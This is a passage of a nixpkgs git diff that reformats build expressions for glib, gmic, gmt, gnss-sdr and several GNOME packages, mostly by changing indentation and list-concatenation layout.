-      # Cannot reproduce the failing test_associations on hydra
-      sed -e '/\/appinfo\/associations/d' -i gio/tests/appinfo.c
-      # Needed because of libtool wrappers
-      sed -e '/g_subprocess_launcher_set_environ (launcher, envp);/a g_subprocess_launcher_setenv (launcher, "PATH", g_getenv("PATH"), TRUE);' -i gio/tests/gsubprocess.c
-    ''
-    + lib.optionalString stdenv.hostPlatform.isWindows ''
-      substituteInPlace gio/win32/meson.build \
-        --replace "libintl, " ""
-    '';
+    # Needs machine-id, comment the test
+    sed -e '/\/gdbus\/codegen-peer-to-peer/ s/^\/*/\/\//' -i gio/tests/gdbus-peer.c
+    sed -e '/g_test_add_func/ s/^\/*/\/\//' -i gio/tests/gdbus-address-get-session.c
+    # All gschemas fail to pass the test, upstream bug?
+    sed -e '/g_test_add_data_func/ s/^\/*/\/\//' -i gio/tests/gschema-compile.c
+    # Cannot reproduce the failing test_associations on hydra
+    sed -e '/\/appinfo\/associations/d' -i gio/tests/appinfo.c
+    # Needed because of libtool wrappers
+    sed -e '/g_subprocess_launcher_set_environ (launcher, envp);/a g_subprocess_launcher_setenv (launcher, "PATH", g_getenv("PATH"), TRUE);' -i gio/tests/gsubprocess.c
+  ''
+  + lib.optionalString stdenv.hostPlatform.isWindows ''
+    substituteInPlace gio/win32/meson.build \
+      --replace "libintl, " ""
+  '';
 
   postConfigure = ''
     patchShebangs gio/gdbus-2.0/codegen/gdbus-codegen gobject/glib-{genmarshal,mkenums}
diff --git a/pkgs/by-name/gl/globalping-cli/package.nix b/pkgs/by-name/gl/globalping-cli/package.nix
index 255ee632f171..3ab1d36935a9 100644
--- a/pkgs/by-name/gl/globalping-cli/package.nix
+++ b/pkgs/by-name/gl/globalping-cli/package.nix
@@ -49,16 +49,15 @@ buildGoModule rec {
     in
     [ "-skip=^${builtins.concatStringsSep "|^" skippedTests}" ];
 
-  postInstall =
-    ''
-      mv $out/bin/globalping-cli $out/bin/globalping
-    ''
-    + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
-      installShellCompletion --cmd globalping \
-        --bash <($out/bin/globalping completion bash) \
-        --fish <($out/bin/globalping completion fish) \
-        --zsh <($out/bin/globalping completion zsh)
-    '';
+  postInstall = ''
+    mv $out/bin/globalping-cli $out/bin/globalping
+  ''
+  + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
+    installShellCompletion --cmd globalping \
+      --bash <($out/bin/globalping completion bash) \
+      --fish <($out/bin/globalping completion fish) \
+      --zsh <($out/bin/globalping completion zsh)
+  '';
 
   passthru.updateScript = nix-update-script { };
 
diff --git a/pkgs/by-name/gl/globalplatform/package.nix b/pkgs/by-name/gl/globalplatform/package.nix
index ed6469b940b0..1cc8925584a1 100644
--- a/pkgs/by-name/gl/globalplatform/package.nix
+++ b/pkgs/by-name/gl/globalplatform/package.nix
@@ -32,14 +32,13 @@ stdenv.mkDerivation (finalAttrs: {
     graphviz
   ];
 
-  buildInputs =
-    [
-      zlib
-      openssl
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      pcsclite
-    ];
+  buildInputs = [
+    zlib
+    openssl
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    pcsclite
+  ];
 
   cmakeFlags = [
     "-DTESTING=ON"
diff --git a/pkgs/by-name/gl/glom/package.nix b/pkgs/by-name/gl/glom/package.nix
index 3da677d706ba..a1b637990d8f 100644
--- a/pkgs/by-name/gl/glom/package.nix
+++ b/pkgs/by-name/gl/glom/package.nix
@@ -69,12 +69,10 @@ stdenv.mkDerivation (finalAttrs: {
   python_boost = python311.withPackages (pkgs: with pkgs; [ pygobject3 ]);
 
   sphinx-build = python311.pkgs.sphinx.overrideAttrs (super: {
-    postFixup =
-      super.postFixup or ""
-      + ''
-        # Do not propagate Python
-        rm $out/nix-support/propagated-build-inputs
-      '';
+    postFixup = super.postFixup or "" + ''
+      # Do not propagate Python
+      rm $out/nix-support/propagated-build-inputs
+    '';
   });
 
   boost_python = boost.override {
diff --git a/pkgs/by-name/gl/glpk/package.nix b/pkgs/by-name/gl/glpk/package.nix
index 012865ab26b9..ab7cae435b80 100644
--- a/pkgs/by-name/gl/glpk/package.nix
+++ b/pkgs/by-name/gl/glpk/package.nix
@@ -24,13 +24,12 @@ stdenv.mkDerivation rec {
     sha256 = "sha256-ShAT7rtQ9yj8YBvdgzsLKHAzPDs+WoFu66kh2VvsbxU=";
   };
 
-  buildInputs =
-    [
-      libmysqlclient
-    ]
-    ++ lib.optionals withGmp [
-      gmp
-    ];
+  buildInputs = [
+    libmysqlclient
+  ]
+  ++ lib.optionals withGmp [
+    gmp
+  ];
 
   configureFlags = lib.optionals withGmp [
     "--with-gmp"
diff --git a/pkgs/by-name/gm/gmic-qt/package.nix b/pkgs/by-name/gm/gmic-qt/package.nix
index 629097841c03..2c7d8e70d890 100644
--- a/pkgs/by-name/gm/gmic-qt/package.nix
+++ b/pkgs/by-name/gm/gmic-qt/package.nix
@@ -66,27 +66,26 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      cimg
-      curl
-      fftw
-      gmic
-      graphicsmagick
-      libjpeg
-      libpng
-      libtiff
-      openexr
-      zlib
-    ]
-    ++ (with libsForQt5; [
-      qtbase
-      qttools
-    ])
-    ++ lib.optionals stdenv.cc.isClang [
-      llvmPackages.openmp
-    ]
-    ++ variants.${variant}.extraDeps;
+  buildInputs = [
+    cimg
+    curl
+    fftw
+    gmic
+    graphicsmagick
+    libjpeg
+    libpng
+    libtiff
+    openexr
+    zlib
+  ]
+  ++ (with libsForQt5; [
+    qtbase
+    qttools
+  ])
+  ++ lib.optionals stdenv.cc.isClang [
+    llvmPackages.openmp
+  ]
+  ++ variants.${variant}.extraDeps;
 
   postPatch = ''
     patchShebangs \
diff --git a/pkgs/by-name/gm/gmic/package.nix b/pkgs/by-name/gm/gmic/package.nix
index 0428f87e21f1..05061401a646 100644
--- a/pkgs/by-name/gm/gmic/package.nix
+++ b/pkgs/by-name/gm/gmic/package.nix
@@ -63,23 +63,22 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      cimg
-      fftw
-      graphicsmagick
-      libX11
-      libXext
-      libjpeg
-      libpng
-      libtiff
-      opencv
-      openexr
-      zlib
-    ]
-    ++ lib.optionals stdenv.cc.isClang [
-      llvmPackages.openmp
-    ];
+  buildInputs = [
+    cimg
+    fftw
+    graphicsmagick
+    libX11
+    libXext
+    libjpeg
+    libpng
+    libtiff
+    opencv
+    openexr
+    zlib
+  ]
+  ++ lib.optionals stdenv.cc.isClang [
+    llvmPackages.openmp
+  ];
 
   cmakeFlags = [
     (lib.cmakeBool "BUILD_LIB_STATIC" false)
@@ -90,19 +89,18 @@ stdenv.mkDerivation (finalAttrs: {
     (lib.cmakeBool "USE_SYSTEM_CIMG" true)
   ];
 
-  postPatch =
-    ''
-      cp -r ${finalAttrs.gmic_stdlib} src/gmic_stdlib_community.h
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      substituteInPlace CMakeLists.txt \
-        --replace "LD_LIBRARY_PATH" "DYLD_LIBRARY_PATH"
-    ''
-    + lib.optionalString (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
-      substituteInPlace CMakeLists.txt --replace-fail \
-        'LD_LIBRARY_PATH=''${GMIC_BINARIES_PATH} ''${GMIC_BINARIES_PATH}/gmic' \
-        '${lib.getExe buildPackages.gmic}'
-    '';
+  postPatch = ''
+    cp -r ${finalAttrs.gmic_stdlib} src/gmic_stdlib_community.h
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    substituteInPlace CMakeLists.txt \
+      --replace "LD_LIBRARY_PATH" "DYLD_LIBRARY_PATH"
+  ''
+  + lib.optionalString (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
+    substituteInPlace CMakeLists.txt --replace-fail \
+      'LD_LIBRARY_PATH=''${GMIC_BINARIES_PATH} ''${GMIC_BINARIES_PATH}/gmic' \
+      '${lib.getExe buildPackages.gmic}'
+  '';
 
   passthru = {
     tests = {
diff --git a/pkgs/by-name/gm/gmsh/package.nix b/pkgs/by-name/gm/gmsh/package.nix
index dd3d3efd0a31..d0be8fc8fc50 100644
--- a/pkgs/by-name/gm/gmsh/package.nix
+++ b/pkgs/by-name/gm/gmsh/package.nix
@@ -32,31 +32,30 @@ stdenv.mkDerivation rec {
     hash = "sha256-d5chRfQxcmAm1QWWpqRPs8HJXCElUhjWaVWAa4btvo0=";
   };
 
-  buildInputs =
-    [
-      blas
-      lapack
-      gmm
-      fltk
-      libjpeg
-      zlib
-      opencascade-occt
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      libGL
-      libGLU
-      xorg.libXrender
-      xorg.libXcursor
-      xorg.libXfixes
-      xorg.libXext
-      xorg.libXft
-      xorg.libXinerama
-      xorg.libX11
-      xorg.libSM
-      xorg.libICE
-    ]
-    ++ lib.optional stdenv.cc.isClang llvmPackages.openmp
-    ++ lib.optional enablePython python;
+  buildInputs = [
+    blas
+    lapack
+    gmm
+    fltk
+    libjpeg
+    zlib
+    opencascade-occt
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    libGL
+    libGLU
+    xorg.libXrender
+    xorg.libXcursor
+    xorg.libXfixes
+    xorg.libXext
+    xorg.libXft
+    xorg.libXinerama
+    xorg.libX11
+    xorg.libSM
+    xorg.libICE
+  ]
+  ++ lib.optional stdenv.cc.isClang llvmPackages.openmp
+  ++ lib.optional enablePython python;
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/gm/gmt/package.nix b/pkgs/by-name/gm/gmt/package.nix
index 4f688d9b8041..f5ec5e6cf184 100644
--- a/pkgs/by-name/gm/gmt/package.nix
+++ b/pkgs/by-name/gm/gmt/package.nix
@@ -38,45 +38,43 @@ stdenv.mkDerivation (finalAttrs: {
       ) "-D__LAPACK_int=int";
   };
 
-  buildInputs =
-    [
-      curl
-      gdal
-      netcdf
-      pcre
-      dcw-gmt
-      gshhg-gmt
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      fftwSinglePrec
-      blas
-      lapack
-    ];
+  buildInputs = [
+    curl
+    gdal
+    netcdf
+    pcre
+    dcw-gmt
+    gshhg-gmt
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    fftwSinglePrec
+    blas
+    lapack
+  ];
 
   propagatedBuildInputs = [ ghostscript ];
 
-  cmakeFlags =
-    [
-      (lib.cmakeFeature "GMT_DOCDIR" "share/doc/gmt")
-      (lib.cmakeFeature "GMT_MANDIR" "share/man")
-      (lib.cmakeFeature "GMT_LIBDIR" "lib")
-      (lib.cmakeBool "COPY_GSHHG" false)
-      (lib.cmakeFeature "GSHHG_ROOT" "${gshhg-gmt.out}/share/gshhg-gmt")
-      (lib.cmakeBool "COPY_DCW" false)
-      (lib.cmakeFeature "DCW_ROOT" "${dcw-gmt.out}/share/dcw-gmt")
-      (lib.cmakeFeature "GDAL_ROOT" "${gdal.out}")
-      (lib.cmakeFeature "NETCDF_ROOT" "${netcdf.out}")
-      (lib.cmakeFeature "PCRE_ROOT" "${pcre.out}")
-      (lib.cmakeBool "GMT_INSTALL_TRADITIONAL_FOLDERNAMES" false)
-      (lib.cmakeBool "GMT_ENABLE_OPENMP" true)
-      (lib.cmakeBool "GMT_INSTALL_MODULE_LINKS" false)
-      (lib.cmakeFeature "LICENSE_RESTRICTED" "LGPL")
-    ]
-    ++ (lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      (lib.cmakeFeature "FFTW3_ROOT" "${fftwSinglePrec.dev}")
-      (lib.cmakeFeature "LAPACK_LIBRARY" "${lib.getLib lapack}/lib/liblapack.so")
-      (lib.cmakeFeature "BLAS_LIBRARY" "${lib.getLib blas}/lib/libblas.so")
-    ]);
+  cmakeFlags = [
+    (lib.cmakeFeature "GMT_DOCDIR" "share/doc/gmt")
+    (lib.cmakeFeature "GMT_MANDIR" "share/man")
+    (lib.cmakeFeature "GMT_LIBDIR" "lib")
+    (lib.cmakeBool "COPY_GSHHG" false)
+    (lib.cmakeFeature "GSHHG_ROOT" "${gshhg-gmt.out}/share/gshhg-gmt")
+    (lib.cmakeBool "COPY_DCW" false)
+    (lib.cmakeFeature "DCW_ROOT" "${dcw-gmt.out}/share/dcw-gmt")
+    (lib.cmakeFeature "GDAL_ROOT" "${gdal.out}")
+    (lib.cmakeFeature "NETCDF_ROOT" "${netcdf.out}")
+    (lib.cmakeFeature "PCRE_ROOT" "${pcre.out}")
+    (lib.cmakeBool "GMT_INSTALL_TRADITIONAL_FOLDERNAMES" false)
+    (lib.cmakeBool "GMT_ENABLE_OPENMP" true)
+    (lib.cmakeBool "GMT_INSTALL_MODULE_LINKS" false)
+    (lib.cmakeFeature "LICENSE_RESTRICTED" "LGPL")
+  ]
+  ++ (lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    (lib.cmakeFeature "FFTW3_ROOT" "${fftwSinglePrec.dev}")
+    (lib.cmakeFeature "LAPACK_LIBRARY" "${lib.getLib lapack}/lib/liblapack.so")
+    (lib.cmakeFeature "BLAS_LIBRARY" "${lib.getLib blas}/lib/libblas.so")
+  ]);
 
   meta = {
     homepage = "https://www.generic-mapping-tools.org";
diff --git a/pkgs/by-name/gn/gnome-bluetooth/package.nix b/pkgs/by-name/gn/gnome-bluetooth/package.nix
index 01043b9d5f5e..14f5865c7dab 100644
--- a/pkgs/by-name/gn/gnome-bluetooth/package.nix
+++ b/pkgs/by-name/gn/gnome-bluetooth/package.nix
@@ -56,7 +56,8 @@ stdenv.mkDerivation (finalAttrs: {
     docbook-xsl-nons
     docbook_xml_dtd_43
     python3
-  ] ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [ mesonEmulatorHook ];
+  ]
+  ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [ mesonEmulatorHook ];
 
   buildInputs = [
     glib
diff --git a/pkgs/by-name/gn/gnome-bluetooth_1_0/package.nix b/pkgs/by-name/gn/gnome-bluetooth_1_0/package.nix
index 722453d3cd2c..f6ceac6ae176 100644
--- a/pkgs/by-name/gn/gnome-bluetooth_1_0/package.nix
+++ b/pkgs/by-name/gn/gnome-bluetooth_1_0/package.nix
@@ -52,24 +52,23 @@ stdenv.mkDerivation (finalAttrs: {
     })
   ];
 
-  nativeBuildInputs =
-    [
-      meson
-      ninja
-      gettext
-      itstool
-      pkg-config
-      libxml2
-      wrapGAppsHook3
-      gobject-introspection
-      gtk-doc
-      docbook-xsl-nons
-      docbook_xml_dtd_43
-      python3
-    ]
-    ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      mesonEmulatorHook
-    ];
+  nativeBuildInputs = [
+    meson
+    ninja
+    gettext
+    itstool
+    pkg-config
+    libxml2
+    wrapGAppsHook3
+    gobject-introspection
+    gtk-doc
+    docbook-xsl-nons
+    docbook_xml_dtd_43
+    python3
+  ]
+  ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    mesonEmulatorHook
+  ];
 
   buildInputs = [
     glib
diff --git a/pkgs/by-name/gn/gnome-clocks/package.nix b/pkgs/by-name/gn/gnome-clocks/package.nix
index f27bdc255fbd..6e6e6ee0a6e1 100644
--- a/pkgs/by-name/gn/gnome-clocks/package.nix
+++ b/pkgs/by-name/gn/gnome-clocks/package.nix
@@ -45,24 +45,23 @@ stdenv.mkDerivation (finalAttrs: {
     libxml2
   ];
 
-  buildInputs =
-    [
-      gtk4
-      glib
-      gsettings-desktop-schemas
-      gdk-pixbuf
-      gnome-desktop
-      geocode-glib_2
-      geoclue2
-      libgweather
-      libadwaita
-    ]
-    ++ (with gst_all_1; [
-      # GStreamer plugins needed for Alarms
-      gstreamer
-      gst-plugins-base
-      gst-plugins-good
-    ]);
+  buildInputs = [
+    gtk4
+    glib
+    gsettings-desktop-schemas
+    gdk-pixbuf
+    gnome-desktop
+    geocode-glib_2
+    geoclue2
+    libgweather
+    libadwaita
+  ]
+  ++ (with gst_all_1; [
+    # GStreamer plugins needed for Alarms
+    gstreamer
+    gst-plugins-base
+    gst-plugins-good
+  ]);
 
   doCheck = true;
 
diff --git a/pkgs/by-name/gn/gnome-desktop/package.nix b/pkgs/by-name/gn/gnome-desktop/package.nix
index 9a9d68d7f960..567f272183f1 100644
--- a/pkgs/by-name/gn/gnome-desktop/package.nix
+++ b/pkgs/by-name/gn/gnome-desktop/package.nix
@@ -63,38 +63,36 @@ stdenv.mkDerivation (finalAttrs: {
     glib
   ];
 
-  buildInputs =
-    [
-      xkeyboard_config
-      libxkbcommon # for xkbregistry
-      isocodes
-      gtk3
-      gtk4
-      glib
-    ]
-    ++ lib.optionals withSystemd [
-      systemd
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      bubblewrap
-      wayland
-      libseccomp
-      udev
-    ];
+  buildInputs = [
+    xkeyboard_config
+    libxkbcommon # for xkbregistry
+    isocodes
+    gtk3
+    gtk4
+    glib
+  ]
+  ++ lib.optionals withSystemd [
+    systemd
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    bubblewrap
+    wayland
+    libseccomp
+    udev
+  ];
 
   propagatedBuildInputs = [
     gsettings-desktop-schemas
   ];
 
-  mesonFlags =
-    [
-      "-Dgtk_doc=true"
-      "-Ddesktop_docs=false"
-      (lib.mesonEnable "systemd" withSystemd)
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isLinux) [
-      "-Dudev=disabled"
-    ];
+  mesonFlags = [
+    "-Dgtk_doc=true"
+    "-Ddesktop_docs=false"
+    (lib.mesonEnable "systemd" withSystemd)
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isLinux) [
+    "-Dudev=disabled"
+  ];
 
   separateDebugInfo = stdenv.hostPlatform.isLinux;
 
diff --git a/pkgs/by-name/gn/gnome-keysign/package.nix b/pkgs/by-name/gn/gnome-keysign/package.nix
index e3cf67e2ce1b..f8f2e56914b1 100644
--- a/pkgs/by-name/gn/gnome-keysign/package.nix
+++ b/pkgs/by-name/gn/gnome-keysign/package.nix
@@ -21,15 +21,14 @@ python3.pkgs.buildPythonApplication rec {
     hash = "sha256-k77z8Yligzs4rHpPckRGcC5qnCHynHQRjdDkzxwt1Ss=";
   };
 
-  nativeBuildInputs =
-    [
-      wrapGAppsHook3
-      gobject-introspection
-    ]
-    ++ (with python3.pkgs; [
-      babel
-      babelgladeextractor
-    ]);
+  nativeBuildInputs = [
+    wrapGAppsHook3
+    gobject-introspection
+  ]
+  ++ (with python3.pkgs; [
+    babel
+    babelgladeextractor
+  ]);
 
   buildInputs = [
     # TODO: add avahi support
diff --git a/pkgs/by-name/gn/gnome-music/package.nix b/pkgs/by-name/gn/gnome-music/package.nix
index 32bfa64b6f78..c13a6cb8da5a 100644
--- a/pkgs/by-name/gn/gnome-music/package.nix
+++ b/pkgs/by-name/gn/gnome-music/package.nix
@@ -53,31 +53,30 @@ python3.pkgs.buildPythonApplication rec {
     gobject-introspection
   ];
 
-  buildInputs =
-    [
-      gtk4
-      pango
-      glib
-      libmediaart
-      gnome-online-accounts
-      gdk-pixbuf
-      python3
-      grilo
-      grilo-plugins
-      libnotify
-      libsoup_3
-      libadwaita
-      gsettings-desktop-schemas
-      tinysparql
-    ]
-    ++ (with gst_all_1; [
-      gstreamer
-      gst-plugins-base
-      gst-plugins-good
-      gst-plugins-bad
-      gst-plugins-ugly
-      gst-libav
-    ]);
+  buildInputs = [
+    gtk4
+    pango
+    glib
+    libmediaart
+    gnome-online-accounts
+    gdk-pixbuf
+    python3
+    grilo
+    grilo-plugins
+    libnotify
+    libsoup_3
+    libadwaita
+    gsettings-desktop-schemas
+    tinysparql
+  ]
+  ++ (with gst_all_1; [
+    gstreamer
+    gst-plugins-base
+    gst-plugins-good
+    gst-plugins-bad
+    gst-plugins-ugly
+    gst-libav
+  ]);
 
   pythonPath = with python3.pkgs; [
     pycairo
diff --git a/pkgs/by-name/gn/gnome-online-accounts/package.nix b/pkgs/by-name/gn/gnome-online-accounts/package.nix
index dcf5cf77f51e..8f12a2ccbdf7 100644
--- a/pkgs/by-name/gn/gnome-online-accounts/package.nix
+++ b/pkgs/by-name/gn/gnome-online-accounts/package.nix
@@ -34,15 +34,14 @@ stdenv.mkDerivation (finalAttrs: {
   pname = "gnome-online-accounts";
   version = "3.54.3";
 
-  outputs =
-    [
-      "out"
-      "dev"
-    ]
-    ++ lib.optionals enableBackend [
-      "man"
-      "devdoc"
-    ];
+  outputs = [
+    "out"
+    "dev"
+  ]
+  ++ lib.optionals enableBackend [
+    "man"
+    "devdoc"
+  ];
 
   src = fetchurl {
     url = "mirror://gnome/sources/gnome-online-accounts/${lib.versions.majorMinor finalAttrs.version}/gnome-online-accounts-${finalAttrs.version}.tar.xz";
@@ -70,25 +69,24 @@ stdenv.mkDerivation (finalAttrs: {
     wrapGAppsHook4
   ];
 
-  buildInputs =
-    [
-      dbus
-      gcr_4
-      glib
-      glib-networking
-      gtk4
-      libadwaita
-      gvfs # OwnCloud, Google Drive
-      json-glib
-      libkrb5
-      librest_1_0
-      libxml2
-      libsecret
-      libsoup_3
-    ]
-    ++ lib.optionals enableBackend [
-      keyutils
-    ];
+  buildInputs = [
+    dbus
+    gcr_4
+    glib
+    glib-networking
+    gtk4
+    libadwaita
+    gvfs # OwnCloud, Google Drive
+    json-glib
+    libkrb5
+    librest_1_0
+    libxml2
+    libsecret
+    libsoup_3
+  ]
+  ++ lib.optionals enableBackend [
+    keyutils
+  ];
 
   postFixup = ''
     # Cannot be in postInstall, otherwise _multioutDocs hook in preFixup will move right back.
diff --git a/pkgs/by-name/gn/gnome-panel/wrapper.nix b/pkgs/by-name/gn/gnome-panel/wrapper.nix
index 5490c0f6258b..30f9c1823857 100644
--- a/pkgs/by-name/gn/gnome-panel/wrapper.nix
+++ b/pkgs/by-name/gn/gnome-panel/wrapper.nix
@@ -15,7 +15,8 @@ let
   selectedPanelModulePackages = [
     gnome-panel
     gnome-flashback
-  ] ++ panelModulePackages;
+  ]
+  ++ panelModulePackages;
 
   panelModulesEnv = buildEnv {
     name = "gnome-panel-modules-env";
@@ -33,8 +34,7 @@ stdenv.mkDerivation {
   ];
 
   buildInputs =
-    selectedPanelModulePackages
-    ++ lib.forEach selectedPanelModulePackages (x: x.buildInputs or [ ]);
+    selectedPanelModulePackages ++ lib.forEach selectedPanelModulePackages (x: x.buildInputs or [ ]);
 
   dontUnpack = true;
   dontConfigure = true;
diff --git a/pkgs/by-name/gn/gnome-settings-daemon/package.nix b/pkgs/by-name/gn/gnome-settings-daemon/package.nix
index afaee31db68f..121ccf297b0a 100644
--- a/pkgs/by-name/gn/gnome-settings-daemon/package.nix
+++ b/pkgs/by-name/gn/gnome-settings-daemon/package.nix
@@ -78,41 +78,39 @@ stdenv.mkDerivation (finalAttrs: {
     python3
   ];
 
-  buildInputs =
-    [
-      gtk3
-      glib
-      gsettings-desktop-schemas
-      modemmanager
-      networkmanager
-      libnotify
-      libgnomekbd # for org.gnome.libgnomekbd.keyboard schema
-      gnome-desktop
-      libpulseaudio
-      alsa-lib
-      libcanberra-gtk3
-      upower
-      colord
-      libgweather
-      polkit
-      geocode-glib_2
-      geoclue2
-      libgudev
-      libwacom
-      gcr_4
-    ]
-    ++ lib.optionals withSystemd [
-      systemd
-    ];
+  buildInputs = [
+    gtk3
+    glib
+    gsettings-desktop-schemas
+    modemmanager
+    networkmanager
+    libnotify
+    libgnomekbd # for org.gnome.libgnomekbd.keyboard schema
+    gnome-desktop
+    libpulseaudio
+    alsa-lib
+    libcanberra-gtk3
+    upower
+    colord
+    libgweather
+    polkit
+    geocode-glib_2
+    geoclue2
+    libgudev
+    libwacom
+    gcr_4
+  ]
+  ++ lib.optionals withSystemd [
+    systemd
+  ];
 
-  mesonFlags =
-    [
-      "-Dudev_dir=${placeholder "out"}/lib/udev"
-      (lib.mesonBool "systemd" withSystemd)
-    ]
-    ++ lib.optionals withSystemd [
-      "-Dgnome_session_ctl_path=${gnome-session-ctl}/libexec/gnome-session-ctl"
-    ];
+  mesonFlags = [
+    "-Dudev_dir=${placeholder "out"}/lib/udev"
+    (lib.mesonBool "systemd" withSystemd)
+  ]
+  ++ lib.optionals withSystemd [
+    "-Dgnome_session_ctl_path=${gnome-session-ctl}/libexec/gnome-session-ctl"
+  ];
 
   # Default for release buildtype but passed manually because
   # we're using plain
diff --git a/pkgs/by-name/gn/gnome-software/package.nix b/pkgs/by-name/gn/gnome-software/package.nix
index dda5eef005eb..9b37e8b4e5b6 100644
--- a/pkgs/by-name/gn/gnome-software/package.nix
+++ b/pkgs/by-name/gn/gnome-software/package.nix
@@ -101,12 +101,14 @@ stdenv.mkDerivation (finalAttrs: {
     # For video screenshots
     gst_all_1.gst-plugins-base
     gst_all_1.gst-plugins-good
-  ] ++ lib.optionals withFwupd [ fwupd ];
+  ]
+  ++ lib.optionals withFwupd [ fwupd ];
 
   mesonFlags = [
     # Requires /etc/machine-id, D-Bus system bus, etc.
     "-Dtests=false"
-  ] ++ lib.optionals (!withFwupd) [ "-Dfwupd=false" ];
+  ]
+  ++ lib.optionals (!withFwupd) [ "-Dfwupd=false" ];
 
   passthru = {
     updateScript = gnome.updateScript { packageName = "gnome-software"; };
diff --git a/pkgs/by-name/gn/gnome-sound-recorder/package.nix b/pkgs/by-name/gn/gnome-sound-recorder/package.nix
index d7141deddaae..d3c629a9aece 100644
--- a/pkgs/by-name/gn/gnome-sound-recorder/package.nix
+++ b/pkgs/by-name/gn/gnome-sound-recorder/package.nix
@@ -39,20 +39,19 @@ stdenv.mkDerivation rec {
     desktop-file-utils
   ];
 
-  buildInputs =
-    [
-      gjs
-      glib
-      gtk4
-      gdk-pixbuf
-      libadwaita
-    ]
-    ++ (with gst_all_1; [
-      gstreamer
-      gst-plugins-base
-      gst-plugins-good
-      gst-plugins-bad # for gstreamer-player-1.0
-    ]);
+  buildInputs = [
+    gjs
+    glib
+    gtk4
+    gdk-pixbuf
+    libadwaita
+  ]
+  ++ (with gst_all_1; [
+    gstreamer
+    gst-plugins-base
+    gst-plugins-good
+    gst-plugins-bad # for gstreamer-player-1.0
+  ]);
 
   postPatch = ''
     chmod +x build-aux/meson_post_install.py
diff --git a/pkgs/by-name/gn/gnome-user-share/package.nix b/pkgs/by-name/gn/gnome-user-share/package.nix
index b49dd59173c8..e3b138e30eff 100644
--- a/pkgs/by-name/gn/gnome-user-share/package.nix
+++ b/pkgs/by-name/gn/gnome-user-share/package.nix
@@ -39,21 +39,20 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-tQoP0yBOCesj2kwgBUoqmcVtFttwML2N+wfSULtfC4w=";
   };
 
-  preConfigure =
-    ''
-      substituteInPlace data/dav_user_2.4.conf \
-        --replace-fail \
-          'LoadModule dnssd_module ''${HTTP_MODULES_PATH}/mod_dnssd.so' \
-          'LoadModule dnssd_module ${mod_dnssd}/modules/mod_dnssd.so' \
-        --replace-fail \
-          '${"$"}{HTTP_MODULES_PATH}' \
-          '${apacheHttpd}/modules'
-    ''
-    + lib.optionalString (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
-      substituteInPlace meson.build --replace-fail \
-        "run_command([httpd, '-v']" \
-        "run_command(['${stdenv.hostPlatform.emulator buildPackages}', httpd, '-v']"
-    '';
+  preConfigure = ''
+    substituteInPlace data/dav_user_2.4.conf \
+      --replace-fail \
+        'LoadModule dnssd_module ''${HTTP_MODULES_PATH}/mod_dnssd.so' \
+        'LoadModule dnssd_module ${mod_dnssd}/modules/mod_dnssd.so' \
+      --replace-fail \
+        '${"$"}{HTTP_MODULES_PATH}' \
+        '${apacheHttpd}/modules'
+  ''
+  + lib.optionalString (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
+    substituteInPlace meson.build --replace-fail \
+      "run_command([httpd, '-v']" \
+      "run_command(['${stdenv.hostPlatform.emulator buildPackages}', httpd, '-v']"
+  '';
 
   mesonFlags = [
     "-Dhttpd=${apacheHttpd.out}/bin/httpd"
diff --git a/pkgs/by-name/gn/gnss-sdr/package.nix b/pkgs/by-name/gn/gnss-sdr/package.nix
index e3a242b42d53..99312bd42e16 100644
--- a/pkgs/by-name/gn/gnss-sdr/package.nix
+++ b/pkgs/by-name/gn/gnss-sdr/package.nix
@@ -50,38 +50,37 @@ gnuradio.pkgs.mkDerivation rec {
     gtest
   ];
 
-  buildInputs =
-    [
-      gmp
-      armadillo
-      glog
-      gflags
-      openssl
-      orc
-      blas
-      lapack
-      matio
-      pugixml
-      protobuf
-      gnuradio.unwrapped.boost
-      gnuradio.unwrapped.logLib
-    ]
-    ++ lib.optionals (gnuradio.hasFeature "gr-uhd") [
-      gnuradio.unwrapped.uhd
-    ]
-    ++ lib.optionals (enableRawUdp) [
-      libpcap
-    ]
-    ++ lib.optionals (gnuradio.hasFeature "gr-ctrlport") [
-      thrift
-      gnuradio.unwrapped.python.pkgs.thrift
-    ]
-    ++ lib.optionals (gnuradio.hasFeature "gr-pdu" || gnuradio.hasFeature "gr-iio") [
-      gnuradio.unwrapped.libiio
-    ]
-    ++ lib.optionals (gnuradio.hasFeature "gr-pdu") [
-      gnuradio.unwrapped.libad9361
-    ];
+  buildInputs = [
+    gmp
+    armadillo
+    glog
+    gflags
+    openssl
+    orc
+    blas
+    lapack
+    matio
+    pugixml
+    protobuf
+    gnuradio.unwrapped.boost
+    gnuradio.unwrapped.logLib
+  ]
+  ++ lib.optionals (gnuradio.hasFeature "gr-uhd") [
+    gnuradio.unwrapped.uhd
+  ]
